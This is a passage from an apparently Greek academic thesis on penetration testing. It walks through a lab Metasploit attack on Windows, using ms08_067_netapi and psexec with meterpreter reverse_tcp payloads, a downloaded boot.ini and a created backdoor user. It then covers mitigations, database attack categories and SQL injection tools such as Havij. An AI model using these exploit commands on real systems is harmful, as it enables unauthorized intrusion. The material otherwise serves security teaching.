73 Αυτές ήταν οι υψηλού κινδύνου ευπάθειες του συστήματος. Όπως είδαμε μόνο μια από αυτές έχει διαθέσιμο exploit στο Metasploit και είναι μια αδυναμία την οποία θα προσπαθήσουμε να εκμεταλλευτούμε. Στις ευπάθειες μεσαίου κινδύνου (βρίσκουμε 2 περιπτώσεις εκ των οποίων μόνο η μια έχει exploit που όμως υπάρχει στη πλατφόρμα canvas και όχι metasploit) Τέλος στις ευπάθειες χαμηλού κινδύνου (στις οποίες είχαμε 38) η μόνη αξιοπρόσεκτη που θα μας απασχολήσει είναι η CVE στη πόρτα 445/tcp και στην υπηρεσία CIFS. Η συγκεκριμένη αδυναμία μπορεί να αποφέρει στο κακόβουλο χρήστη απομακρυσμένη σύνδεση στον υπολογιστή των Windows και το exploit που συσχετίζεται λέγεται Metasploit (Microsoft Windows Authenticated User Code Execution). (CVE ) Στην ενότητα αυτή θα δείξουμε πως το Metasploit μπορεί να εκμεταλλευτεί μια αδυναμία με κάποιο exploit του στο απομακρυσμένο μηχάνημα και επίσης τι είδους συνέπειες μπορούν να υπάρξουν απ αυτή την επίθεση. 3.9 Εκμετάλλευση ευπαθειών με το Metasploit Εκμετάλλευση της CVE Όπως αναφέραμε στη προηγούμενη ενότητα το exploit που εκθέτει αυτή την αδυναμία είναι το Microsoft Server Service Relative Path Stack Corruption. Για να κάνουμε χρήση αυτού του exploit χρησιμοποιήσαμε τις παρακάτω εντολές : msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST [ ] msf exploit(ms08_067_netapi) > set RHOST [ ] msf exploit(ms08_067_netapi) > exploit (Moore and Moore, 2011.) Όπου η διεύθυνση του Bactrack 4,και η διεύθυνση του Windows μηχανήματος. Πιο αναλυτικά η λειτουργία των εντολών φαίνεται στην Εικόνα 3.14 που ακολουθεί. 71

74 Εικόνα 3.14 Όπως βλέπουμε γίνεται ενεργοποίηση της αδυναμίας από τον επιτιθέμενο προς το χρήστη και έχει ανοιχτεί μια Meterpreter σύνοδος. Ο Meterpreter είναι ένας διερμηνέας (interpreter) εντολών ο οποίος τρέχει στο απομακρυσμένο μηχάνημα και μας δίνει τη δυνατότητα να εκτελούμε κώδικα και εντολές από το Backtrack μας. Στην Εικόνα 3.15 βλέπουμε ότι πλέον έχουμε συνδεθεί πλήρως και εκτελώντας βασικές εντολές που αναγνωρίζει ο Meterpreter (όπως το getuid, sysinfo και ipconfig) βλέπουμε ξεκάθαρα ότι είμαστε μέσα στο σύστημα-στόχο των Windows. Επίσης με την εντολή download c:\\boot.ini κατεβάσαμε το αρχείο με τις αρχικοποιήσεις εκκίνησης συστήματος και το φόρτωμα χρηστών στο τοπικό μας μηχάνημα (Εικονα.3.16). Εικόνα

75 Εικόνα 3.16 Συνεχίζοντας εκτελέσαμε την εντολή shell και πλέον είμαστε συνδεδεμένοι στο φλοιό και μπορούμε με δικαιώματα διαχειριστή να εκμεταλλευτούμε τον απομακρυσμένο υπολογιστή όπως βλέπουμε και στην Εικόνα Για παράδειγμα μπορούμε να διαβάσουμε τα περιεχόμενα φακέλων με την εντολή ls ή να δούμε τι διεργασίες τρέχει το σύστημα με την εντολή ps. Περισσότερα για το Metasploit Meterpreter μπορεί να δεί κάποιος στην διεύθυνση Εικόνα 3.17 Εκμετάλλευση της CVE Στη αναζήτηση αδυναμιών είχαμε βρει μια ακόμα, χαμηλού κινδύνου αυτή τη φορά, η οποία ήταν πιθανό να εκτεθεί από το module του Metasploit με τίτλο Microsoft Windows Authenticated User Code Execution (Moore H.D, 2011). Αυτό το exploit χρησιμοποιεί ένα έγκυρο όνομα χρήστη και κωδικό (ή hash κωδικού πρόσβασης) για να εκτελέσει ένα αυθαίρετο payload. Η υπηρεσία δημιουργήθηκε από αυτό το εργαλείο χρησιμοποιεί ένα τυχαία επιλεγμένο όνομα και μια περιγραφή. Όπως θα δούμε όμως και στην Εικόνα 3.18 το exploit εκτελέσθηκε αλλά δεν επιτευχθεί το άνοιγμα συνόδου με το απομακρυσμένο μηχάνημα. 73

76 Εικόνα 3.18 Στο module της Εικόνας 3.18 οι μόνες εντολές που χρησιμοποιήσαμε ήταν οι ανάλογες με τις πρώτης επίθεσης στην άλλη CVE δηλαδή οι ακόλουθες: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(psexec) > set LHOST msf exploit(psexec) > set RHOST msf exploit(psexec) > exploit Όμως στο συγκεκριμένο exploit υπάρχει ένα flag με όνομα SMBUser και SMBPass (ISO,1989) που μπορείς να θέσεις κάποιο όνομα χρήστη για αυθεντικοποίηση και το κωδικό ασφαλείας του αντίστοιχα. Έτσι λοιπόν από τη πρώτη επίθεση μας με το module Microsoft Server Service Relative Path Stack Corruption μέσω του Meterpreter μεταβήκαμε στο shell και δημιουργήσαμε ένα νέο χρήστη με όνομα newuser και με κωδικό 1234 στο σύστημα των Windows. Και στις παραπάνω εντολές προσθέσαμε άλλες δυο, τις ακόλουθες: msf exploit(psexec) > set SMBUser newuser msf exploit(psexec) > set SMBPass 1234 Και ξανατρέξαμε στη συνέχεια το exploit με την εντολή: msf exploit(psexec) > exploit Όπως βλέπουμε και στην Εικόνα 3.19 το session αυτή τη φορά δημιουργήθηκε και φτάσαμε στη κατάσταση που πετύχαμε με το προηγούμενο module. Δηλαδή ο Meterpreter τρέχει στο απομακρυσμένο μηχάνημα υπό τις ίδιες συνθήκες με πριν και μπορούμε να εκτελέσουμε οποιαδήποτε εντολή του. 74

77 Εικόνα 3.19 Το ότι μπορούμε να ξαναπάρουμε shell στο απομακρυσμένο σύστημα πάλι δεν έχει καμία σημασία από τη στιγμή που το πετύχαμε την επίθεση με το πρώτο exploit στη CVE Η επίθεση αυτή στη CVE έγινε για να δείξουμε πως με συνδυασμό επιθέσεων (δηλαδή δημιουργώντας ένα νέο χρήστη από τη πρώτη επίθεση) μπορούμε μια αδυναμία χαμηλού κινδύνου να την εκμεταλλευτούμε προκειμένου να έχουμε τα ίδια αποτελέσματα με μια υψηλού κινδύνου και προφανώς να αναδείξουμε τη σημασία της. 75

78 3.10 Προτεινόμενα Μέτρα Ασφάλειας Στην ενότητα αυτή θα προταθούν μέτρα ούτως ώστε να καλυφθούν όσο το δυνατό περισσότερα κενά ασφάλειας και να αντιμετωπιστούν οι ευπάθειες τις παραπάνω ενότητας. 1 ο Μέτρο Για ευπάθειες γενικής φύσης Γενικότερα οι 38 ευπάθειες οι οποίες έχουν χαμηλό βαθμό επικινδυνότητας (όπως πχ OS fingerprinting κλπ.) προέρχονται από τις ανιχνεύσεις του Nmap και του Nessus. Αυτό θα μπορούσε εν μέρει να αντιμετωπισθεί με τη προσθήκη κάποιου συστήματος ανίχνευσης εισβολών (IDS) όπως πχ. το Snort στο σύστημα των Windows προκειμένου να εμφανίζει σε κονσόλα ή κάποιο log αρχείο πιθανές ανιχνεύσεις που γίνονται από απομακρυσμένα συστήματα έτσι ώστε στη συνέχεια να λαμβάνονται τα κατάλληλα επιπρόσθετα μέτρα. Παρακάτω θα παραθέσουμε και 4 συγκεκριμένα ακόμα μέτρα για την επίλυση των 3 ευπαθειών υψηλής σοβαρότητας που παρουσιάστηκαν στην ενότητα 2.3 καθώς και μίας μεσαίας σοβαρότητας. 2 ο Μέτρο Για την CVE Για τη συγκεκριμένα ευπάθεια η Microsoft δημοσίευσε ένα σετ από patches για συστήματα Windows 2000, XP, 2003 και Vista. Το συγκεκριμένο patch μπορούμε να το κατεβάσουμε από εδώ: 3 ο Μέτρο Για την CVE Εδώ θα προταθούν 2 επιμέρους μέτρα για τη συγκεκριμένη τρωτότητα. Το πρώτο είναι ότι πρέπει να απενεργοποιηθεί η υπηρεσία SNMP στον απομακρυσμένο υπολογιστή εφόσον δε γίνεται χρήση της. Και το δεύτερο είναι η προσθήκη φίλτρου στα εισερχόμενα πακέτα UDP που κατευθύνονται στη 161/udp θύρα. 76

79 4 ο Μέτρο Για τις CVE , CVE , CVE Για τις συγκεκριμένες ευπάθειες συστήματος η Microsoft δημοσίευσε ένα patch για Windows 2000, XP, 2003 και Vista το οποίο μπορούμε να κατεβάσουμε από εδώ: 5 ο Μέτρο Για τη CVE Η συγκεκριμένη ευπάθεια αφορά αδυναμίες του mail server που μπορούν να προσβληθούν από διάφορες επιθέσεις. Για τη συγκεκριμένη ευπάθεια συστήματος η Microsoft δημοσίευσε ένα patch για Windows 2000, XP, 2003 και Vista καθώς και για τις αντίστοιχες εκδόσεις Server το οποίο μπορούμε να κατεβάσουμε από εδώ: 77

80 Κεφάλαιο 4ο 4. ΑΣΦΑΛΕΙΑ ΒΑΣΕΩΝ ΔΕΔΟΜΕΝΩΝ ΚΑΙ ΧΡΗΣΗ ΣΧΕΤΙΚΩΝ ΕΡΓΑΛΕΙΩΝ 4.1 Εννοιολογική θεμελίωση και αποτίμηση των σύγχρονων εφαρμογών ιστού Οι σύγχρονες εφαρμογές ιστού καλύπτουν ένα ευρύ φάσμα δραστηριοτήτων. Τέτοιες εφαρμογές μπορεί να είναι συναλλαγές ηλεκτρονικού εμπορίου (e-commerce), ηλεκτρονικές τραπεζικές συναλλαγές (e-banking), υπηρεσίες ηλεκτρονικής διακυβέρνησης (e-government), ηλεκτρονικές ψηφοφορίες (e-voting), ή ηλεκτρονικές υπηρεσίες υγείας (ehealth). Από τη στιγμή που οι εφαρμογές αυτές είναι τόσο διαδεδομένες αποτελούν βασικούς στόχους για τους κακόβουλους χρήστες. Όλες αυτές οι εφαρμογές σαφώς και λειτουργούν έχοντας ως κυρίαρχο τους χαρακτηριστικό την ύπαρξη βάσεων δεδομένων. Άρα μια από τις σημαντικότερες απειλές για την ασφάλεια των εφαρμογών αυτών είναι οι επιθέσεις στο επίπεδο βάσεων δεδομένων. Ο κακόβουλος χρήστης μέσα από αδυναμίες στο επίπεδο αυτό προσπαθεί είτε να αντλήσει είτε να εισάγει είτε να τροποποιήσει δεδομένα της βάσης. Οι πιο συνηθισμένες επιθέσεις στο επίπεδο αυτό είναι οι επιθέσεις δηλητηρίασης SQL κώδικα. Ουσιαστικά οι εφαρμογές ιστού είναι βασισμένες σε αρχιτεκτονική πελάτη (client) - διακομιστή (server) που αλληλεπιδρούν μέσω του πρωτοκόλλου HTTP (Hypertext Transfer Protocol). Από την πλευρά του πελάτη υπάρχει τυπικά ένας φυλλομετρητής ιστού (web browser), ενώ από την πλευρά του διακομιστή υπάρχουν κατανεμημένοι διακομιστές εφαρμογών (application servers), που συνδέονται με πολλαπλές πηγές δεδομένων. Ο χρήστης αλληλεπιδρά με την εφαρμογή ιστού, στέλνοντας τις επιλογές ή τα δεδομένα του. Η αλληλεπίδραση αυτή μπορεί να κυμανθεί από μια απλή αναζήτηση δεδομένων, έως μεγάλες ενδοεπιχειρησιακές εφαρμογές. Στην εικόνα 4.1 παρουσιάζεται ένα τυπικό παράδειγμα εφαρμογής ιστού, όπου ο πελάτης αλληλεπιδρά με μια εφαρμογή, που βρίσκεται εγκατεστημένη στη μεριά του εξυπηρετητή, στέλνοντας αιτήσεις και αναμένοντας την απάντηση της εφαρμογής. Η εφαρμογή ιστού αλληλεπιδρά με την υποκείμενη βάση δεδομένων για να ανακτήσει τα δεδομένα που προκύπτουν από την επεξεργασία του αιτήματος και στη συνέχεια επιστρέφει τα δεδομένα αυτά, ώστε να εμφανιστούν στο περιβάλλον του χρήστη. Η πρόσβαση στη βάση δεδομένων γίνεται με την εκτέλεση δυναμικών SQL ερωτημάτων (SQL Queries) που δημιουργούνται κατά το χρόνο εκτέλεσης και 78

81 διαμορφώνονται ανάλογα με τα δεδομένα του χρήστη σε πεδία εισόδου της εφαρμογής. Εικόνα 4.1 Αποτύπωση αρχιτεκτονικής υπηρεσίας ιστού Οι επιτιθέμενοι μπορούν να εκμεταλλευθούν τη διαδικασία αυτή, τροποποιώντας συντακτικά ή σημασιολογικά τα γνήσια SQL ερωτήματα που περνούν προς τη Βάση Δεδομένων, ενσωματώνοντας κακόβουλο SQL κώδικα στα πεδία εισόδου. Αυτό το είδος επίθεσης ονομάζεται δηλητηρίαση SQL κώδικα (SQL code poisoning) ή SQL έγχυση (SQL injection) και μπορεί να οδηγήσει στην έκθεση του εξυπηρετητή βάσεων δεδομένων. Μια ευπαθής εφαρμογή ιστού επιτρέπει στον επιτιθέμενο να έχει πρόσβαση στις Βάσεις Δεδομένων, να μεταβάλει και να διαγράψει πληροφορίες, ή ακόμα να θέσει την εφαρμογή εκτός λειτουργίας, προκαλώντας τεράστια προβλήματα με πολύ μικρή προσπάθεια και στοιχειώδης τεχνικές γνώσεις. Φυσικά ο κακόβουλος χρήστης αποκτώντας πρόσβαση στον εξυπηρετητή Βάσης Δεδομένων μπορεί να έχει στη διάθεση του στοιχεία χρηστών, κωδικών και άλλες πολλές χρήσιμες πληροφορίες. Οι επιθέσεις δηλητηρίασης SQL κώδικα είναι ανεξάρτητες από τη γλώσσα ανάπτυξης της εφαρμογής και το σύστημα διαχείρισης βάσεων δεδομένων. Συνεπώς, δεν έχει σημασία αν η εφαρμογή υλοποιήθηκε με χρήση Active Server Pages (ASP), Java Server Pages (JSP), PHP ή Perl, ούτε αν χρησιμοποιείται Oracle, Microsoft SQL Server, IBM DB2, MySQL ή Informix ως βάση δεδομένων. Η εφαρμογή μπορεί να είναι ευπαθής σε επιθέσεις αυτού 79

82 του τύπου άσχετα από την τεχνολογία που χρησιμοποιεί, αν και κάποια προϊόντα θεωρούνται πιο ανθεκτικά σε σύγκριση με κάποια άλλα. Η SQL injection επίθεση θεωρείται ένας από τους συχνότερα εμφανιζόμενους (McClure et al, 2005) και πιο επικίνδυνους τύπους επιθέσεων που προσβάλουν εφαρμογές ιστού. Μέχρι σήμερα έχουν αναφερθεί πολλά περιστατικά επιτυχών επιθέσεων. Διαδεδομένα εργαλεία λογισμικού έχουν βρεθεί ευπαθή, όπως τα PHPNuke, vbulletin, WordPress, WBBlog, μεταξύ πολλών άλλων. Ίσως το πιο γνωστό περιστατικό SQL έγχυσης συνέβηκε το 2005 με την έκθεση της Βάσης Δεδομένων της CardSystems Solutions,που είχε ως αποτέλεσμα την κλοπή εκατομμυρίων αριθμών πιστωτικών καρτών. Ένα πρόσφατο παράδειγμα επίσης αποτελεί η επίθεση σε Ιστοσελίδες της Sony και πιο συγκεκριμένα στην SonyMusic.gr όπου μπόρεσαν να αντλήσουν όλα τα δεδομένα της βάσης της εφαρμογής και να τα διαθέσουν στο ευρύ κοινό. Γνωρίζοντας λοιπόν ότι υπάρχουν τέτοιοι χρήστες και λογισμικά που μπορούν να εντοπίσουν ευπάθειες κάποιας εφαρμογής εκμεταλλευόμενοι ευπάθειες στο επίπεδο βάσεων δεδομένων δίνουμε μεγάλη προσοχή στην Ασφάλεια των βάσεων δεδομένων και στον τρόπο επικοινωνίας τους με τις εφαρμογές. Αντικείμενο της Ασφάλειας Βάσεων Δεδομένων (Database Security) είναι η ικανότητα του συστήματος να εφαρμόσει μια προκαθορισμένη πολιτική προστασίας των πληροφοριών της Βάσης Δεδομένων που αφορά τη δυνατότητα προσπέλασης, την διαθεσιμότητα και την δυνατότητα τροποποίησης ή διαγραφής των πληροφοριών. Περισσότερες πληροφορίες αναφέρονται στον ιστότοπο: Web's leading resource for database security Ανάλυση και αποτίμηση επιθέσεων Βάσεων Δεδομένων Οι επιθέσεις Βάσεων Δεδομένων όπως προαναφέραμε γίνονται εκμεταλλευόμενοι ορισμένες ευπάθειες των συστημάτων είτε λόγω εφαρμογής λάθος πολιτικής ασφαλείας επάνω σε αυτές. Παρακάτω περιγράφουμε τις πιο γνωστές επιθέσεις των βάσεων δεδομένων οι οποίες κάθε φορά εκμεταλλεύονται διαφορετικές ευπάθειες. Οι δέκα πιο βασικές κατηγορίες επιθέσεων επάνω σε Βάσεις Δεδομένων βάση του ιστότοπου The chartered institute of IT είναι οι παρακάτω: 1. Χορήγη Υπερβολικών Προνομίων σε μη εξουσιοδοτημένους χρήστες Όταν οι χρήστες (ή οι εφαρμογές) χορηγούνται από προνόμια βάσεων δεδομένων τα οποία υπερβαίνουν τις απαιτήσεις της λειτουργίας τους,τα προνόμια αυτά, μπορούν να χρησιμοποιηθούν για να αποκτήσουν οι χρήστες πρόσβαση σε εμπιστευτικές πληροφορίες. Για παράδειγμα, ο administrator ενός πανεπιστημίου, ασχολείται κατά κύριο λόγο με την πρόσβαση στα αρχεία των φοιτητών, αλλά του επιτρέπεται μόνο η ανάγνωση. 80

83 Μπορεί όμως να επωφεληθεί από το προνόμιο αυτό και να αλλάξει για παράδειγμα τους βαθμούς ενός φοιτητή. Η λύση στο πρόβλημα αυτό είναι ο έλεγχος πρόσβασης στο query-level. Ο έλεγχος πρόσβασης σε επίπεδο query-level περιορίζει τα προνόμια των ελάχιστων απαιτούμενων λειτουργιών και των δεδομένων. Οι περισσότερες πλατφόρμες ασφάλειας των Βάσεων Δεδομένων προσφέρουν μερικές από τις δυνατότητες αυτές (triggers, RLS,και άλλα) αλλά ο σχεδιασμός χρήσης των εργαλείων αυτών τα καθιστούν ανέφικτα. 2. Κατάχρηση Προνομίων Οι χρήστες μπορούν να κάνουν κατάχρηση νόμιμων προνομίων πρόσβασης δεδομένων για παράνομους σκοπούς. Για παράδειγμα, ένας χρήστης με δικαιώματα,προκειμένου να δει μεμονωμένα αρχεία πληρωμών μέσω μιας προσαρμοσμένης εφαρμογής λογιστηρίου ή κοστολόγησης, μπορεί να καταχρασθεί το προνόμιο να ανακτήσει όλα τα αρχεία των πελατών μέσω ενός λογιστικού φύλλου MS-Excel. Η λύση είναι η πρόσβαση σε πολιτικές ελέγχου που εφαρμόζονται όχι μόνο στο αν τα δεδομένα είναι προσβάσιμα, αλλά και στο πως τα δεδομένα είναι προσβάσιμα. Εφαρμόζοντας πολιτικές για την ώρα της ημέρας, την τοποθεσία, την εφαρμογή, και τον όγκο των δεδομένων που έχουν ανακτηθεί, είναι δυνατό να εντοπιστούν οι χρήστες οι οποίοι κάνουν κατάχρηση των προνομίων πρόσβασης. 3. Παράνομη αύξηση δικαιωμάτων Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα τρωτά σημεία στο λογισμικό διαχείρισης Βάσεων Δεδομένων για τη μετατροπή χαμηλού επιπέδου προνομίων σε υψηλού επιπέδου προνόμια πρόσβασης. Για παράδειγμα, ένας εισβολέας θα μπορούσε να επωφεληθεί από ένα θέμα υπερχείλισης βάσης δεδομένων, προκειμένου να αποκτήσει δικαιώματα διαχειριστή. Η παράνομη ύψωση δικαιωμάτων μπορεί να ηττηθεί με έναν συνδυασμό ελέγχου πρόσβασης σε ένα query-level καθώς και με παραδοσιακά συστήματα πρόληψης εισβολών (IPS). Η έρευνα όταν γίνεται πρόσβαση σε query-level μπορεί να εντοπίσει έναν χρήστη που χρησιμοποιεί ξαφνικά μια ασυνήθιστη λειτουργία SQL, ενώ ένα IPS μπορεί να προσδιορίσει μια συγκεκριμένη τεκμηριωμένη απειλή κατά την λειτουργία. 4. Ευπάθεια Πλατφόρμας Οι αδυναμίες στα λειτουργικά συστήματα μπορεί να οδηγήσουν σε άνευ άδειας πρόσβαση σε δεδομένα καθώς επίσης και σε διαφθορά. Για παράδειγμα, ο ιός τύπου worm Blaster εκμεταλλεύθηκε μια ευπάθεια των Windows 2000 για να ρίξει κάποιους servers. Τα εργαλεία IPS είναι ένας καλός τρόπος να εντοπίσουν και να εμποδίσουν τις επιθέσεις που αποσκοπούν στην αξιοποίηση γνωστών Βάσεων Δεδομένων. 81

84 5. SQL injection Οι επιθέσεις sql injection αφορούν έναν χρήστη που εκμεταλεύεται τα τρωτά σημεία των web εφαρμογών και αποθηκεύει διαδικασίες για την παράνομη αποστολή ερωτήσεων από Βάσεις Δεδομένων, συχνά με αυξημένα δικαιώματα. Χρησιμοποιώντας το sql injection, οι επιτιθέμενοι θα μπορούσαν ακόμη να αποκτήσουν απεριόριστη πρόσβαση σε μια ολόκληρη Βάση Δεδομένων. Αναλυτική περιγραφή το πώς πραγματοποιείται αυτή η επίθεση ακολουθεί στη συνέχεια. 6. Άρνηση υπηρεσίας Το Denial of Service (DoS), μπορεί να επικαλεσθεί με πολλές τεχνικές. Οι Κοινές τεχνικές DoS περιλαμβάνουν υπερχειλίσεις μνήμης, τα δεδομένα της διαφθοράς, πλημμύρες του δικτύου και την κατανάλωση πόρων. Η τελευταία είναι μοναδική για το περιβάλλον των βάσεων δεδομένων και συχνά παραβλέπεται. Η παρεμπόδιση στο DoS service πρέπει να πραγματοποιείται σε πολλαπλά στρώματα συμπεριλαμβανομένου του δικτύου, των εφαρμογών και των βάσεων δεδομένων. Οι Βάσεις Δεδομένων που σχετίζονται με συστάσεις περιλαμβάνουν την ανάπτυξη ενός IPS και τους ελέγχους ταχύτητας σύνδεσης. Με ταχείς ρυθμούς γίνεται το άνοιγμα ενός μεγάλου αριθμού συνδέσεων, οι έλεγχοι ταχύτητας σύνδεσης μπορούν να αποτρέψουν τους μεμονωμένους χρήστες από την κατανάλωση πηγών των βάσεων δεδομένων. 7. Βάση Δεδομένων των τρωτών σημείων του πρωτοκόλλου Οι αδυναμίες στα πρωτόκολλα δεδομένων μπορούν να καταστίσουν δυνατή την αθέμιτη πρόσβαση σε δεδομένα, τη διαφθορά ή τη διαθεσιμότητα. Για παράδειγμα, το SQL Slammer εκμεταλλεύτηκε ένα διακομιστή του πρωτοκόλλου του Microsoft SQL server για την εκτέλεση κώδικα επίθεσης σε διακομιστές βάσεων δεδομένων. 8. Ασθενής ταυτότητας και επιπέδου πρόσβασης Τα ασθενή συστήματα ελέγχου ταυτότητας επιτρέπουν στους εισβολείς να αναλάβουν την ταυτότητα των νόμιμων χρηστών Βάσης Δεδομένων. Η εφαρμογή των κωδικών πρόσβασης ή του ελέγχου ταυτότητας είναι απαραίτητη. Για την επεκτασιμότητα και ευκολία χρήσης, οι μηχανισμοί ελέγχου ταυτότητας θα πρέπει να ενταχθούν σε καταλόγους των χρηστών. 9. Η έκθεση των αντιγράφων ασφάλειας των δεδομένων Μερικές πρόσφατες επιθέσεις υψηλού προφίλ περιελάμβαναν κλοπή ταινιών από backup Βάσης Δεδομένων και σκληρών δίσκων. Όλα τα αντίγραφα ασφαλείας θα πρέπει να είναι κρυπτογραφημένα. Στην πραγματικότητα, ορισμένοι πωλητές έχουν προτείνει ότι τα μελλοντικά προϊόντα ΣΔΒΔ μπορεί να μην υποστηρίζουν τη δημιουργία αντιγράφων ασφαλείας χωρίς κρυπτογράφηση. 82

85 10. Brute Force Attack Πολλές φορές ο χρήστης μπορεί να βρεθεί μακριά από την είσοδο του σε μια Βάση Δεδομένων μόνο μέσα από μια φόρμα, η οποία του ζητάει κάποιο όνομα χρήστη και κάποιον κωδικό. Ο κακόβουλος χρήστης μπορεί να χρησιμοποιήσει εργαλεία τα οποία παράγουν τυχαία δεδομένα (brute force tools) μέχρι να βρούν εκείνα που μπορούν να σου επιτρέψουν την είσοδο (ενδεικτικά εργαλεία είναι : Cain&Avel, Brutus, Hydra). Άλλες φορές μπορεί απλά να χρησιμοποιηθούν οι default κωδικοί των συστημάτων αν αυτοί δεν έχουν αλλαχθεί και να επιτραπεί η είσοδος στο σύστημα (π.χ για την mysql αρχικό όνομα χρήστη είναι: root και κωδικός συνήθως δεν υπάρχει). 4.3 Εργαλεία σχετικά με εντοπισμό ευπαθειών σε Βάσεις Δεδομένων Ένα βασικό βήμα για τη πραγματοποίηση ελέγχου ασφάλειας σε κάποιον εξυπηρετητή Βάσης Δεδομένων είναι ο εντοπισμός των ευπαθειών του. Για να γίνει αυτό υπάρχουν πολλά εργαλεία τα οποία αναλύουν τις ευπάθειες της web εφαρμογής στα θέματα που σχετίζονται με τη συνδεσιμότητα της Βάσης Δεδομένων. Φυσικά τέτοια εργαλεία δε χρησιμοποιούνται μόνο από κακόβουλους χρήστες αλλά χρησιμοποιούνται και από τη πλευρά των διαχειριστών των εφαρμογών για έλεγχο και πρόληψη τυχόν ευπαθειών. Τέτοιου είδους εργαλεία αναφέρονται στη δ/νση και περιγράφονται παρακάτω: Νikto: To Nikto είναι ένας opensource (GPL) σαρωτής διακομιστή Web που εκτελεί πλήρεις έρευνες εναντίον διακομιστών web για πολλά στοιχεία, συμπεριλαμβανομένων πάνω από δυνητικά επικίνδυνα αρχεία / CGIs, ελέγχους για παρωχημένες εκδόσεις του πάνω από 1200 servers, και την έκδοση ειδικών προβλημάτων σε πάνω από 270 servers. Ελέγχει, επίσης, στοιχεία για τη διαμόρφωση του διακομιστή όπως η παρουσία των πολλαπλών αρχείων δείκτη, HTTP επιλογές του διακομιστή, και προσπαθεί να ταυτοποιήσει εγκατεστημένους web servers και λογισμικό. Τα στοιχεία σάρωσης και plugins ενημερώνονται συχνά και μπορούν να ενημερώνονται αυτόματα. Το Nikto αποτελεί και plugin της κονσόλας Nessus που παρουσιάσαμε στο προηγούμενο κεφάλαιο. Paros proxy: Το Paros proxy είναι ένα πρόγραμμα για όσους ενδιαφέρονται να αξιολογήσουν την ασφάλεια διαδικτυακών εφαρμογών τους. Είναι freeware και γραμμένο σε java. Μέσω της κατασκευής του όλα τα Http και Https δεδομένα μεταξύ του εξυπηρετητή και του client συμπεριλαμβανομένου και των cookies και των πεδίων φορμών εισαγωγής στοιχείων μπορούν να υποκλαπούν και να τροποποιηθούν. 83

86 WebScarab: To WebScarab είναι ένα πλαίσιο για την ανάλυση εφαρμογων που επικοινωνούν με το HTTP και HTTPS πρωτόκολλα. Είναι γραμμένο σε Java, και ως εκ τούτου φορητό σε πολλές πλατφόρμες. Το WebScarab διαθέτει διάφορους τρόπους λειτουργίας, οι οποίοι εκτελούνται από κυρίως μέσω των plugins. Στην πιο συνηθισμένη χρήση του, το WebScarab λειτουργεί για παρακολούθηση μεσολάβησης, επιτρέποντας στον χειριστή να αναθεωρήσει και να τροποποιήσει τις αιτήσεις που δημιουργούνται από το πρόγραμμα περιήγησης πριν από την αποστολή στο διακομιστή, να επανεξετάσει και να τροποποιήσει τις απαντήσεις που επέστρεψε ο διακομιστής προτού παραληφθεί από το πρόγραμμα περιήγησης. Το WebScarab είναι σε θέση να υποκλέψει και την HTTP και την HTTPS επικοινωνία. Ο χειριστής μπορεί να επανεξετάζει επίσης τις συζητήσεις (αιτήματα και απαντήσεις) που έχουν περάσει από WebScarab. Γνωστά επίσης εργαλεία για SQL Injection είναι τα παρακάτω: Sqlmap: Το sqlmap είναι ένα εργαλείο penetration testing ανοιχτού κώδικα που αυτοματοποιεί την διαδικασία του εντοπισμού και της αξιοποίησης των SQL injection αδυναμιών και την κατάκτηση των servers βάσεων δεδομένων. Διαθέτει μια ισχυρή μηχανή ανίχνευσης, πολλά σύνθετα χαρακτηριστικά για εξειδικευμένους χρήστες και πρωτότυπες τεχνικές διείσδυσης. SqlNinja: Το SQL Ninja είναι ένα SQL injection εργαλείο, που παρέχει μια πολυεπίπεδη διαδικασία για να κατακτήσει διακομιστή SQL. Τρέχει μόνο σε Λειτουργικά Συστήματα Linux και Apple και γι αυτούς που ψάχνουν για ένα εργαλείο που βασίζεται στα Windows, δεν είναι ότι καταλληλότερο. Γίνεται ιδιαίτερα χρήσιμο με τη λειτουργία σε εικονικό περιβάλλον και την υποστήριξη Unix based Λειτουργικού Συστήματος όπως και τα περισσότερα εργαλεία ασφάλειας υπολογιστών. Havij: To Havij είναι ένα αυτοματοποιημένο εργαλείο για εισαγωγή SQL που βοηθά τους δοκιμαστές διείσδυσης (penetration testers) να εντοπίζουν και να αξιοποιούν τα τρωτά σημεία SQL Injection σε μια ιστοσελίδα. Με τη χρήση αυτού του λογισμικού ο χρήστης μπορεί να εκτελέσει back-end δακτυλικό αποτύπωμα Βάσης Δεδομένων, ανάκτησης χρηστών DBMS, hashes κωδικών πρόσβασης, καθώς και στοιχεία από τις διάφορες στήλες πινάκων της βάσης. Η δύναμη του Havij που το καθιστά διαφορετικό από παρόμοια εργαλεία είναι οι μέθοδοι injection του. Το ποσοστό επιτυχίας είναι πάνω από 95% σε ευπαθείς στόχους, με χρήση Havij. Το φιλικό προς το χρήστη GUI (Graphical User Interface) του Havij και οι αυτοματοποιημένες ρυθμίσεις και ανιχνεύσεις τον καθιστούν εύκολο στη χρήση για όλους τους χρήστες, ακόμη και για αρχάριους χρήστες. 84

87 4.4 Το εργαλείο Havij Στην ενότητα αυτή θα παρουσιάσουμε το εργαλείο Havij στα πλαίσια της ανάλυσης ασφάλειας βάσεων δεδομένων. Όπως είπαμε και παραπάνω το Havij είναι ένα πρόγραμμα που αυτοματοποιεί επιθέσεις τύπου injection και εκμεταλλεύεται τρωτά σημεία σε απομακρυσμένους εξυπηρετητές. Αυτό το εργαλείο διαθέτει φιλικό GUI περιβάλλον αλλά είναι διαθέσιμο μόνο για Windows συστήματα. Οδηγιές εγκατάστασης του Havij Όπως προαναφέραμε είναι ένα εργαλείο που λειτουργεί μόνο σε Microsoft συστήματα και γι αυτό το λόγο η εγκατάσταση του είναι ιδιαίτερα απλή όπως ένα απλό setup σε κάποιο σύστημα Windows. Αρχικά μπορούμε να κατεβάσουμε το Havij καθώς και σχετικά εγχειρίδια χρήσης του από εδώ Βήμα 1: Αποθηκεύουμε στον υπολογιστή μας το αρχείο Havij 1.15 free.exe και το εκτελούμε. Βήμα 2: Προχωράμε προς τη εγκατάσταση με Next όπως δείχνουν οι παρακάτω εικόνες. Εικόνα

88 Εικόνα 4.2 Εικόνα

89 Εικόνα 4.4 Εικόνα

90 Εικόνα 4.6 Εικόνα

